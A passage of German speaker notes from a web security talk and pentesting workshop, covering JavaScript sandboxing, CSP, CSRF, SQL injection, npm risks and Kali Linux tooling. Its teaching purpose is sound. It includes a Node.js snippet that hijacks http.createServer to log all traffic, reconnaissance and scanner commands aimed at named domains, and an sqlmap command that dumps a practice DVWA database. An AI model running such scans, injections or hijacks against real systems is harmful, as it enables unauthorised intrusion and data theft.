  146. JSON, die JavaScript Object Notation. Wer wendet es alles an? Warum ist das so charmant? Weil es gleichzeitig ein Datenformat ist, das aber direkt als Code angewandt werden kann - erinnert das jemanden an etwas? Man muss es also nur in ein Eval() kippen? Wer der anwesenden macht das mit JSON?
  147. JSON wird in der RFC 4627 definiert. Dort steht auch drin, dass man es direkt evaluieren kann. Wenn man vorher zwei Regex dagegen wirft. Dann geht das in Ordnung. Also nicht einfach nur Eval, sondern vorher evaluieren
  148. Und das ist der String, der trotzdem durchkommt. Von Sirdarckcat, heute Mitarbeiter von Google.
  149. Glücklicherweise gibt es nur einen Browser, der das als Code sieht - leider ist er immer noch an Platz 2 der Browserstatistik. Selbst die RFC konnte nicht vorhersehen, was der Browser alles als JavaScript interpretiert.
  150. Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“ Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain googlesyndicatio.com reserviert - so wie die alte Google-Ads-Domain, vor vielen, vielen Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.
  151. Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.
  152. Hier habe ich mal gesammelt, was die Methoden der Wahl sind beim Einsatz von Spring MVC. Es gibt auch XSS-Blacklisting-Filter oder Web Application Firewalls. Wer setzt hier einen Blacklisting-Filter ein? Wir kommen noch dazu, warum die nicht helfen können.
  153. Das erste kommt netterweise mit der Sprache,und sogar mit einer ziemlich gut verfügbaren Variante von Javascript, nämlich Ecmascript 5. Das heisst: alle modernen Browser, IE aber erst ab 10. Allerdings tolerieren IE8 und IE9 den Syntax, es schadet also nicht, es dort schon zu aktivieren. Man macht es an indem man es schlicht an den Anfang des Scriptes - oder an den Anfang der Funktion legt. Achtung: wer lässt seine javascript-files automatisch zusammenfassen?
  154. Wie erreicht use strict das? Es macht typische Fehler in der Programmierung zu wirklichen Fehlern. Und sorgt damit dafür, dass sie nicht mehr passieren.
  155. Undeklarierte Variablen dürfen nicht mehr genutzt werden.
  156. Demo: point = {x:1,y:2}; point.z = 1; Object.preventExtensions(point); point.a = 1; delete(point.z); Object.seal(point) ; delete(point.y); Object.freeze(point); point.y=5;
  157. Demo: point2={x:1,y:2}; Object.freeze = function(ob){return ob}; Object.freeze(point2); point2.x = 12; point2
  158. Das gleiche gilt natürlich für alle Properties, die innerhalb der Methoden genutzt werden - denn die dort aufgerufenen Methoden können bereits manipuliert sein.
  159. Neben Strict, Modules und Classes gibt es noch ein Feature, das Sicherheit erlaubt - und zwar proxies. Ich kann globale Objekte einfach in so einen Proxy umlenken, und anhand des Proxies dann alle Zugriffe kontrollieren.
  160. Und das kontrollieren bedeutet nicht nur Logging, sondern ich kann damit auch den Zugriff kontrollieren. Der Caller einer Methode ist glücklicherweise nicht überschreibbar, und damit kann ich explizit und individuell dem JavaScript unterschiedliche Rechte einräumen.
  161. Es ist also wirklich schwer, JavaScript sicher zu nutzen, wenn man anderen Leuten Zugriff auf JavaScript gibt. Gibt es überhaupt eine Möglichkeit das zu machen?
  162. Das Problem hatte diese Firma auch. Die erlaubt sowohl bei Google Sites als auch bei Google Docs fremdes JavaScript. Und sie wollen natürlich weder einen Wurm noch irgendetwas ähnliches auf der Plattform.
  163. Und sie haben es ziemlich elegant gelöst mit Google Caja. Google Caja compiliert vorhandenes JavaScript in sicheres Javascript.
  164. Und wie machen die das? Zunächst einmal erlauben die nur ein kleines Subset von JavaScript selbst. Dann wird DOM komplett gewrappt, um die Zugriffe zu beschränken, und zuletzt wird alles HTML & CSS durch einen Sanitizer gejagt, damit damit nicht noch unsauberes JavaScript eingeführt wird.
  165. Das Secure JavaScript kann ich sogar selbst nutzen - indem ich startSES aus dem Caja-Projekt schlicht an den Anfang meines JavaScript stelle. Damit habe ich dann automatisch ein Environment, indem javascript nicht mehr alles modifizieren kann.
  166. Aber natürlich hat nicht jeder ein Environment, indem man konsequent use strict voraussetzen kann. Was macht man also in dem Fall?
  167. In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  168. In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  169. In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  170. In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  171. Alte Libraries sollten tatsächlich aktualisiert werden.
  172. Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also welche Sinks sind und welche nicht. All diese Funktionen sollte nicht mit User-Input gefüttert werden.
  173. Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der dritte für Webkit. Achtung: die machen in der Konfiguration alle schlechte JS-Libraries wie etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.
  174. CSP ist ein Konzept um das Einschleusen von externen Daten in die eigene Website zu verhindern. Die CSP erzwingt eine strikte Trennung von Inhalten (HTML) und externen Dateien (CSS, JS) Ursprünglich wurde die CSP von der Mozilla Fondation entwickelt. 2012 wurde es als W3C-Draft in die Arbeitsgruppe zur Sicherheit von Webanwendungen aufgenommen. CSP ist ein Whitelist-Filter. Auf die Whitelist kommen alle Resourcen bei denen man weiß das diese "gut" sind. CSP ist kein Allheil mittel. Nur eine zusätzliche Art der Verteidigung. Nutzerinteraktionen sollen weiterhin validiert & escaped werden!
  175. Es ist nicht nur eine reine Whitelist. Wird der CSP Header mitgeschickt, werden einige "Features" per Default deaktiviert: Inline JS muss in ein externes JS File ausgelagert werden, welches von einer Vertrauenswürdigen Domain bereitgestellt weurd. EVAL wird komplett geblockt. Die kann bei älteren jQuery Versionen zu problemen führen. Mit der "unsafe-eval" Direktive kann die Funktion wieder aktiviert.
  176. ON/DOM event Attribute wie in onClick, onError, etc, werden geblockt. Diese müssen durch extern registrierte Eventhandler ersetzt werden. Selbes gilt für <a> tags mit einem href Attribut das mit "javascript:" startet. Der ganze JS Code muss in externen Files müssen von einer Whitelisted Domain geladen werden.
  177. man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens wieder aktivieren.
  178. http://www.cspplayground.com
  179. Hier sehen wir eine Sequenz von Direktiven. default-src = Erlaube mir per Default Resourcen von meinem eigenen Origin zu laden Für unterschiedliche Resource Typen kann man diese spezifisch definieren bzw. die default Policy überschreiben. img-src = Bilder sind von überall erlaubt. Vielleicht möchte ich das ein oder andere hässliche Bild blockenm, aber okay. Damit kann man leben. img-src beinhaltet nicht nur <img> Tags, sondern auch Bilder die im CSS geladen werden. object-src or embedded tags = Diese möchte ich nur von meinen zwei CDNs erlauben. script-src = scripts Wie werden diese vom Browser verarbeitet? Angenommen ich bring einen Typo rein. Greift dann alles ausser meine Typo definition? Zuerst werden immer die Defaults hergenommen und von allen weiteren Direktiven überschrieben. Mann könnte auch anstatt der Sequenz jede Direktive in einem einzelnen Header senden. In diesen Beispiel wären dass 6 Header.
  180. Genug von der Theorie, sehen wir uns das ganze in der Praxis an…
  181. Edge cases. Wir wollen ein Analytics Tool unserer Wahl integrieren. Es verlangt Inline Script. Wie soll ich damit umgehen?
  182. Wie geh ich damit in der Entwicklung um? Wie rüste ich die CSP nach? Dazu gibt es diesn Header. Um die Auswirkungen einer aktivierten CSP zu sehen, setzt man diesen und bekommt einen Report über die report-uri.
  183. Wie geh ich damit in der Entwicklung um? Wie rüste ich die CSP nach? Dazu gibt es diesn Header. Um die Auswirkungen einer aktivierten CSP zu sehen, setzt man diesen und bekommt einen Report über die report-uri.
  184. Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren … Das ganze funktioniert auch mit einer Injection in der Runtime.
  185. Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch zunächst nicht bei der Content-Security-Policy mitmachen. X-XSS-Protection macht ein lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reflektive XSS. Ich kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre. X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen, sollte man also machen, wenn man nicht partout eingebettet werden muss.
  186. Aber es gibt nicht nur XSS, die eine Rolle bei JavaScript-Applikationen spielen. Die zweite Klasse von Bugs, die durch die defekte Architektur von Browsern entstehen. Wenn ich mit meinem Browser auf Google Mail angemeldet bin, dann gilt diese Anmeldung auch für die anderen Tabs im Browser - sie können zwar nicht die Daten lesen, aber wenn ich aus meinem evil.com einen Request mit der Formaction Richtung Google abschicke, dann kommt die dort mit der Authentifizierung - sprich dem Cookie - meines Browsers an.
  187. Das ist die einfachste Variante für eine CSRF-Attacke. Der Klassiker, ein Online-Poll, bei dem jede IP nur einmal abstimmen darf. Und ich habe auf einer Seite mit viel Traffic einfach dieses Bild eingebunden - und bekommen im Gegenzug sehr viele Stimme.
  188. Das geht aber nicht nur per GET, das geht natürlich auch per POST. Stellen wir uns mal vor, dass wir so ein Formular auf der Seite haben. Der Nutzer hat sich hier im Shop bereits eingeloggt, es gibt also eine gültigen Cookie.
  189. Da brauche ich auf der Angreiferseite nur das ein Formular mit den gleichen Daten, das automatisch abgeschickt wird.
  190. Gegen Cross Site Request Forgery schützt man sich in ganz schlecht mit einer Verlagerung von GET auf POST, in etwas weniger schlecht mit einem Referer-Check, den man mit etwas geschick umgehen kann, und korrekt mit einer Token-authentifizierung, der mit dem Formular mitgeliefert wird und nur meinem Client und dem Server bekannt ist.
  191. Da kommen wir aber auch gleich zu unserem Problem - wenn meine Seite einen XSS enthält, dann kann genau dieser Token bequem ausgelesen werden - und dadurch ein falscher Request hergestellt werden, und im Browser des Clients angeschickt werden. Der XSS muss noch nicht einmal auf der Korrekten Seite sein - das Formular mit dem Token kann ich dank Same Origin Policy ja auch direkt mit xmlhttprequest auslesen.
  192. Und hier auch gleich das nächste Thema - SQL Injections. Die spielen bei JavaScript-Applikationen natürlich nur Serverside eine Rolle, wenn etwa Node.js als Webserver genutzt wird und ein MySQL dahinter stattfindet.
  193. Zum Beispiel trägt sich Johannes als Teilnehmer auf den JavaScript Days ein, und wird dort in die Datenbank geschrieben.
  194. Und das war die Query, die in diesem Cartoon abgeschickt wurde.
  195. Die typische Antwort auf SQL-Injections ist Parameter Binding. Das funktioniert auch in der Tat, denn hier kann ich den Syntaktischen Scope nicht mehr verlassen. Die liegen nämlich nicht mehr im String, sondern an anderer Stelle. Ein Verlassen des Value-Scopes ist nicht mehr möglich, denn im SQL-String gibt es nur noch einen Pointer, der auf den Value-Record zeigt.
  196. Und das war die Query, die in diesem Cartoon abgeschickt wurde.
  197. Genau an dieser Stelle geht Parameter Binding nicht mehr.
  198. Die Lösung dafür ist entweder ein konsequentes Whitelisting - Gerüchten zufolge gibt es nur 2 Sortierrichtungen und meist begrenzt viele Spalten - oder man überlässt es seinem ORM.
  199. In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend weniger auf die Risiken dahinter.
  200. Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.
  201. Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich auch http.createServer umschreiben.
  202. var http = require('http'); oldfunc = http.createServer; http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc); } http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello World\n'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/');
  203. Kommen wir zu einem ganz dunklem Kapitel.
  204. Kommen wir zu einem ganz dunklem Kapitel. NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security-Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentifiziert zu werden.
  205. Das ist die package.json vom Package rimraffall gewesen. Fällt jemanden was auf?
  206. Node hat relativ klare Vorstellungen darüber, wer sich um was zu kümmern hat. Es kümmert sich um http und die V8-Engine, alles sonst ist Euer Job.
  207. Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im express-Umfeld vorhanden.
  208. Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren Workarounds.
  209. Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL-Injections möglich. Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten Module sind nicht wirklich vertrauenswürdig.
  210. Hallo zusammen und willkommen zum praktischen Teil! Was Ihr hier seht die die Visitenkarten von Kevin Mitnick, den mal meistgesuchten Hacker der Welt. Aber das ist nicht nur eine Visitenkarten - wer erkennt, was da noch mit drinsteckt?
  211. Was ist Penetration Testing? Erst mal kann man an dem Namen erkennen, wie Nerd tatsächlich die Security-Branche ist - Penetration weckt da keinerlei andere Assoziationen, das ist halt ein technischer Prozess. Keinerlei erotische Konotation.
  212. Was ist Penetration Testing eigentlich? Wenn man der Presse trauen darf, ist das der Moment, in dem man die Skimaske aufsetzt und aus der Hacker-Perspektive tätig wird. Jetzt denkt man natürlich: ist das nicht verboten? Wollen wir das tatsächlich machen? Sollte man das nicht lieber bleiben lassen?
  213. Und das ist der Haken an der Sache - wenn wir es nicht machen, dann ist alles gut - bis zu dem Tag, an dem es jemand anderes macht.
  214. Und wenn die das machen, dann gibt es Ärger für die Softwareentwickler, nicht für die Hacker.
  215. Und dann kommen die Hacker gleich noch mal um die Ecke, in diesem Fall nennen sie sich aber Security-Auditor. Sie auditieren, dokumentieren was man alles falsch gemacht hat. Und nennen das Hilfe.
  216. Endstand: die Hacker haben einmal durch den Einbruch gewonnen, und danach haben wir anderen von ihnen beauftragt. Und wer das nicht möchte, der macht eben selbst Penetration Testing.
  217. 2005 war ich ein Jahr in Argentinien, mit meiner Frau, die bei BMW arbeitet. Und wie es sich gehört haben wir da ein interkulturelles Training bekommen, weil viele Dinge in Südamerika anders sind als hier. Und natürlich spielt Sicherheit eine besondere Rolle.
  218. Und da haben sie mir beigebracht, wie sicher ich meine Wohnungstür zu machen hatte. Hat jemand eine Idee, wie viele Schlösser man an der Tür braucht, wenn man in einer normalen Gegend in Buenos Aires wohnt? Die Jungs von der Sicherheitsfirma, die beim interkulturellen Thema dabei waren konnten mir helfen: eins mehr als der Nachbar.
  219. Das gleiche gilt auch oft für Security - wenn ich nicht die tiefhängende Frucht bin habe ist statistisch deutlich weniger Probleme. Viele Hacker, speziell Script-Kiddies und kommerzielle Exploiter aus dem Osten prüfen das Ziel kurz, und wenn dort nach einiger Zeit nichts gefunden wird zieht man weiter.
  220. Ok, beginnen wir also damit. Wie organisiert man einen Pentest? Welche Schritte nimmt man vor?
  221. Ich beginne mit dem Setup
  222. Das Tool der Wahl ist Kali Linux, und viele haben es hoffentlich schon installiert. Kali Linux ist - wie der Name schon sagt - eine Linux-Distribution. Faktisch ist Kali aber die Penetration-Testing-Universal-Waffe.
  223. Kali sieht sich selbst nicht ganz unbescheiden als die Plattform schlechthin für Penetration Testing.
  224. Kali Linux ist ein Linux. Warum machen die das? Weil ein normales Betriebsystem nicht ausreicht. Zum Beispiel brauche ich für manche Wifi-Exploits Injection-Fähige Treiber. Braucht man Linux-Knowhow? Ja, für Security, so generell. Aber nicht für Kali selbst, da geht das meiste über Menus. Meist wird es als virtuelle Maschine betrieben, aber es gibt zB auch eine mobile Edition für zB die Nexus-Geräte.
  225. Einloggen, Menu vorstellen. Oft wird nur als Root gearbeitet. Wer hat alles Kali installiert?
  226. Dann kommt die Erkundung - ich schaue mir erst mal an, was alles geht.
  227. site:mayflower.de inurl:\.php
  228. dnsenum dnsenum --enum mayflower.de dnsenum --enum nfq.com dnsrecon dnsrecon -t std -d mayflower.de dnsdict6 -4 mayflower.de fierce -dns mayflower.de
  229. theharvester -d mayflower.de -b bing theharvester -d mayflower.de -b pgp theharvester -d protonet.info -b bing metagoofil -d microsoft.com -t doc -l 25 -o microsoft -f microsoft.html
  230. Demo Engine Email Engine
  231. Scannen der lokalen Netzwerke
  232. skipfish -o mayflower /usr/share/skipfish/dictionaries/minimal.wl http://mayflower.de
  233. Demo / Ergebnis
  234. arachni —output-verbose —report-save-path=mayflower.de http://Mayflower.de arachni_reporter /usr/share/arachni/bin/mayflower.de.afr —report=html:outfile=mydriver.html
  235. Danach kommt der wichtigste Schritte - das exploiten. Wenn ich mit Skip-Fish Lücken gefunden habe - oder eben auch keine gefunden habe - dann muss ich mir das Problem näher anschauen. Und das mache ich bei Webapplikationen im Regelfall mit einem Security-Proxy, den ich zur Analyse nutze.
  236. Burp Suite ist ein kommerzielles Produkt. Er wird als Proxy genutzt und erlaubt die manuelle und automatisierte Untersuchung von Webseiten.
  237. Die kommerzielle Variante bietet eine ganze Reihe von Optionen mehr
  238. sqlmap —cookie=„..“ -u „http://hackme.mayflower.de:81/vulnerabilities/sqli/?id=1&Submit=Submit“ -> Parameter id Dann —dbs Dann -D dvwa —all
  239. Der Angreifer ist also keineswegs mehr der Amateur zuhause, sondern Dienstleister in einem funktionierenden Markt. „Für 40.000 Euro bekommt man die Daten jeder Firma“
  240. Hauptmotivation ist Informationsdiebstahl, dh. der Diebstahl von sensiblen Daten. Aus diesem Grund wird dieses Thema auch explizit behandelt.
  241. Es ist ein Irrtum, dass der Developer alles notwendige über Web Security wissen kann. Der Bereich ist zu komplex und entwickelt sich zu schnell, als dass das möglich wäre.
  242. Vielleicht sollte man sich nach ganz anderen Sachen umschauen ...
  243. Wir haben ja viele Microsoft-Entwickler hier. Wenn mich nicht alles täuscht, ist Bill Gates nicht in Rente - offensichtlich haben die Jungs eine Lösung gefunden.
  244. Bei den Kosten für Sichere Software werden sicherlich manche gerne darauf verzichten wollen :-)
  245. Ein gut geschulter Entwickler ist 60% der Miete, nicht mehr und nicht weniger.
  246. Webanwendungen enden meistens rechts oben. Das ist der schlechteste Platz.
  247. Gerade bei Webapplikationen werden viele mögliche Einschränkungen der Angriffsfläche übersehen.
  248. In den Zeiten von Schäuble und Web 2.0 vermutlich kein Thema mehr :-)
  249. Annahmen: i expect every user to come from the internet. i expect the ntlm-based authentication to work
  250. spoofing: session riding, fake referer; tampering: XSS, CSRF; repudiation: logcleaner; Information disclosure: error messages; SQL Injections; Elevation of privileges: code executions, sql injections, logical mistakes
  251. Some say: chance of attack multiplied with damage potential
  252. Bug bar: not some fancy place to get a beer for a bug, but a risk that is ok to stay with until it‘s time to fix it.
  253. It takes a whole lot of time, but it‘s less time to use the tool then to use n tool
  254. Complex code is a major reason for security problems. A cyclomatic complexity > 50 almost sure contains a security problem. Of course you should use tools like web application security scanners as well. currently it‘s hard to integrate them into the development circle, but this will happen in future.
  255. there are a lot more, see the several security guidelines for php
  256. This can be done less official if you got a small company or a small install base. nevertheless you need the responsiblity assigned to certain people and the workflow to handle security issues.
  257. Ziemlich oft soll die Antwort auf eine Sicherheitslücke sehr schnell erfolgen, mit dem Resultat, dass der Bugfix unvollständig ist oder neue Lücken aufreisst.